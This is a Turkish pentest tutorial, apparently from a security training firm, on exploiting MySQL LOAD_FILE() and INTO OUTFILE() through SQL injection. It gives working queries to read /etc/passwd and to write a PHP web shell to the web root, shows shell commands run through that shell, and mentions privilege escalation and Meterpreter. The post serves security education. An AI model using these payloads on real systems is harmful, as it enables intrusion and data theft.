MySQL LOAD_FILE() ve INTO OUTFILE() Sql Injection

Web tabanlı uygulamalarda sıkça rastlanan sql injection zafiyeti ile veritabanına çeşitli sql sorguları gönderilerek sistem ele geçirilmeye çalışılır.Bir çok hacker Sql injection ile tipik olarak veritabanından kullanıcı/parola bilgilerini ve varsa işe yarar diğer verileri (müşteri bilgileri vb.) elde etmeye çalışır.

Hedef sistemin veritabanında işe yarar birşeyler yoksa, işletim sistemini ele geçirmek için mysql servisi üzerinden başka neler yapılabilir ?

Bu yazıda, geçen hafta BGA ekibinin gerçekleştirdiği pentest çalışmasında, ele geçirilen hedefe ait mysql servisi üzerinden, işletim sisteminin ele geçirilmesi anlatılmıştır.Burada yer alan başlıklar, web servisinde bulunan sql injection veya ele geçirilen bir mysql servisi sürecinde uygulanabilir.

MySQL Load_FILE() ve INTO OUTFILE()

Load_FILE() ; Dosya içeriğini okur ve metin olarak döndürür.

Söz dizimi; load_file(‘dosya_adı’)

INTO OUTFILE() ; İstenilen metin içeriğini dosyaya yazar.

Söz dizimi; into outfile(‘dosya_adı’)

Mysql servisinin çalıştığı yetkiler önemlidir ! Bu fonksiyonlar kullanılarak, uzak sistemden dosya okumak ve içerik yazmak mümkündür.
load_into file için hedef dosyanın izinleri herkes tarafından okunabilir olması lazım, into outfile için de mysql’i çalıştıran kullanıcının hedef dosyaya yazma hakları olmalı.

Örneğin, hedef sistemin /etc/passwd dosyasını okuyalım;

select load_file(‘/etc/passwd’)

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh

Hedef sistemde ilerlemek için, çalışan servislerin konfigurasyon dosyaları okunarak, çalışma dizinleri, kullanıcı hesapları vb. bilgiler elde edilebilir.

Bir başka tercih ise; sistemde komut çalıştırmak, dosya/dizin yapısını yönetmek, içerik yüklemek ve çalıştırmak olacaktır. Bunun için into outfile() fonksiyonundan yararlanabiliriz.

Webshell Elde Etme ve Komut Çalıştırma

Örnek olarak, basit bir php webshell yükleyelim. Webshell, hedef sistemde yetkimiz dahilinde komut çalıştırma olanaği sağlayacaktır.Bu işlem için, mysql servisinin çalıştığı kullanıcı hesabının yazma yetkisine sahip olduğu bir dizin bulmanız gerekir. Bu işlem için php ye hata verdirip dizin yapısını öğrenebilir veya http servisinin loglarını görüntüleyerek bulabilirsiniz.

into outfile() ile içerik yazma

SELECT “<? system($_REQUEST[‘cmd’]); ?>” INTO OUTFILE “/var/www/ajan.php” –;

Sorgu başarıyla çalıştıysa, ajan.php oluşmuş olacaktır.Aşağıdaki şekilde ajan.php çalıştırılabilir;

Kullanım şekli; http://hedef.com/ajan.php?cmd=KOMUT_ZINCIRI

Hedefin çekirdek sürümünü öğrenmek;

http://hedef.com/ajan.php?cmd=uname%20-a

Çıktı aşağıdaki gibidir,
Linux seclabs.bga.com.tr 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

Apache2 konfigurasyon dosyasını okumak;

http://hedef.com/ajan.php?cmd=cat%20/etc/apache2/apache2.conf

Örnekleri çoğaltmak mümkündür. Bu aşamadan sonra bizim tercih ettiğimiz yöntem hedef sisteme ajan yazılım yükleyip, privilege escalation tekniklerini uygulayarak sistemi en üst seviye yetkilerle ele geçirmek ve uzakdan yönetmekdir. Hedef işletim sistemini ele geçirdikden sonra, bulunduğu networkdeki diğer sistemleri ele geçirmek mümkün olacaktır.

Meterpreter payloadını php, asp, war, exe ve linux sistemlerde çalışacak şekilde oluşturabilirsiniz.

Yazar: Ozan UÇAR
ozan.ucar@bga.com.tr

Bu yazıda yer alan araç ve yöntemlerin daha fazlasına “ECSA/LPT – Licensed Penetration Tester Eğitimi” eğitime katılarak öğrenebilirsiniz.

Eğitimle ilgili detay bilgi için lütfen egitim@bga.com.tr adresine e-posta gönderiniz.